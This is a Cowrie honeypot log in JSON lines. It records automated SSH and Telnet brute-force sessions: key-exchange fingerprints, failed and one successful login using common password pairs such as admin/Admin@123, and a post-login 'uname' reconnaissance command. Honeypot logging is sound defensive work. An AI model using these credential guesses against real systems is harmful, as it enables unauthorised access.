{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:53.474664Z","src_ip":"45.156.87.254","session":"0a422226a44f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:53.726719Z","src_ip":"45.156.87.254","session":"0a422226a44f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:54.811919Z","src_ip":"45.156.87.254","session":"0a422226a44f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60640,"dst_ip":"159.203.135.109","dst_port":22,"session":"65f474faa573","protocol":"ssh","message":"New connection: 45.156.87.254:60640 (159.203.135.109:22) [session: 65f474faa573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:58.827662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:58.861799Z","src_ip":"45.156.87.254","session":"65f474faa573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:58.945720Z","src_ip":"45.156.87.254","session":"65f474faa573","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:59.396940Z","src_ip":"45.156.87.254","session":"65f474faa573","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:59.614433Z","src_ip":"45.156.87.254","session":"65f474faa573","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:59.618060Z","src_ip":"45.156.87.254","session":"65f474faa573","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:59.703831Z","src_ip":"45.156.87.254","session":"65f474faa573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:59.708859Z","src_ip":"45.156.87.254","session":"65f474faa573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.52156138420105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:03.591210Z","src_ip":"185.145.252.179","session":"d3ff0252b814","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60648,"dst_ip":"159.203.135.109","dst_port":22,"session":"f26f22916bf5","protocol":"ssh","message":"New connection: 45.156.87.254:60648 (159.203.135.109:22) [session: f26f22916bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:04.500476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:04.508489Z","src_ip":"45.156.87.254","session":"f26f22916bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:04.586610Z","src_ip":"45.156.87.254","session":"f26f22916bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:04.915007Z","src_ip":"45.156.87.254","session":"f26f22916bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:06.021091Z","src_ip":"45.156.87.254","session":"f26f22916bf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":58234,"dst_ip":"10.17.0.5","dst_port":23,"session":"18707064f046","protocol":"telnet","message":"New connection: 20.123.41.163:58234 (10.17.0.5:23) [session: 18707064f046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:06.304808Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":58236,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e24c4d534bd","protocol":"telnet","message":"New connection: 20.123.41.163:58236 (10.17.0.5:23) [session: 9e24c4d534bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:09.695892Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58256,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c52831dbeec","protocol":"ssh","message":"New connection: 45.156.87.254:58256 (159.203.135.109:22) [session: 0c52831dbeec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:09.745292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:09.750291Z","src_ip":"45.156.87.254","session":"0c52831dbeec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:09.837349Z","src_ip":"45.156.87.254","session":"0c52831dbeec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:10.094254Z","src_ip":"45.156.87.254","session":"0c52831dbeec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:11.182739Z","src_ip":"45.156.87.254","session":"0c52831dbeec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.482838869094849,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:13.787497Z","src_ip":"20.123.41.163","session":"18707064f046","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36286,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6c293fca21f","protocol":"telnet","message":"New connection: 104.245.105.2:36286 (10.17.0.5:23) [session: b6c293fca21f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:13.928818Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58268,"dst_ip":"159.203.135.109","dst_port":22,"session":"a93a7e9fd784","protocol":"ssh","message":"New connection: 45.156.87.254:58268 (159.203.135.109:22) [session: a93a7e9fd784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:14.747756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:14.756611Z","src_ip":"45.156.87.254","session":"a93a7e9fd784","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:14.840124Z","src_ip":"45.156.87.254","session":"a93a7e9fd784","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:15.102356Z","src_ip":"45.156.87.254","session":"a93a7e9fd784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.272358179092407,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:15.968124Z","src_ip":"20.123.41.163","session":"9e24c4d534bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:16.286178Z","src_ip":"45.156.87.254","session":"a93a7e9fd784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.7053422927856445,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:16.634056Z","src_ip":"104.245.105.2","session":"b6c293fca21f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":60128,"dst_ip":"10.17.0.5","dst_port":23,"session":"27413a54872c","protocol":"telnet","message":"New connection: 185.145.252.179:60128 (10.17.0.5:23) [session: 27413a54872c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:17.357725Z"}
{"eventid":"cowrie.session.closed","duration":31.13753914833069,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:19.548564Z","src_ip":"185.145.252.179","session":"d4a16cc13d28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56144,"dst_ip":"159.203.135.109","dst_port":22,"session":"f544d5474255","protocol":"ssh","message":"New connection: 45.156.87.254:56144 (159.203.135.109:22) [session: f544d5474255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:20.616498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:20.621164Z","src_ip":"45.156.87.254","session":"f544d5474255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:20.708668Z","src_ip":"45.156.87.254","session":"f544d5474255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:20.979764Z","src_ip":"45.156.87.254","session":"f544d5474255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:22.072995Z","src_ip":"45.156.87.254","session":"f544d5474255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41124,"dst_ip":"10.17.0.5","dst_port":23,"session":"09874a379db1","protocol":"telnet","message":"New connection: 104.245.105.2:41124 (10.17.0.5:23) [session: 09874a379db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:23.061755Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56156,"dst_ip":"159.203.135.109","dst_port":22,"session":"943d427f2a75","protocol":"ssh","message":"New connection: 45.156.87.254:56156 (159.203.135.109:22) [session: 943d427f2a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:26.316858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:26.322537Z","src_ip":"45.156.87.254","session":"943d427f2a75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:26.411639Z","src_ip":"45.156.87.254","session":"943d427f2a75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:26.666034Z","src_ip":"45.156.87.254","session":"943d427f2a75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":32828,"dst_ip":"10.17.0.5","dst_port":23,"session":"7937b183b11c","protocol":"telnet","message":"New connection: 185.145.252.179:32828 (10.17.0.5:23) [session: 7937b183b11c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:26.992004Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:27.759105Z","src_ip":"45.156.87.254","session":"943d427f2a75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":43976,"dst_ip":"159.203.135.109","dst_port":22,"session":"62a3edce4a29","protocol":"ssh","message":"New connection: 45.156.87.254:43976 (159.203.135.109:22) [session: 62a3edce4a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:32.647491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:32.757869Z","src_ip":"45.156.87.254","session":"62a3edce4a29","protocol":"ssh"}
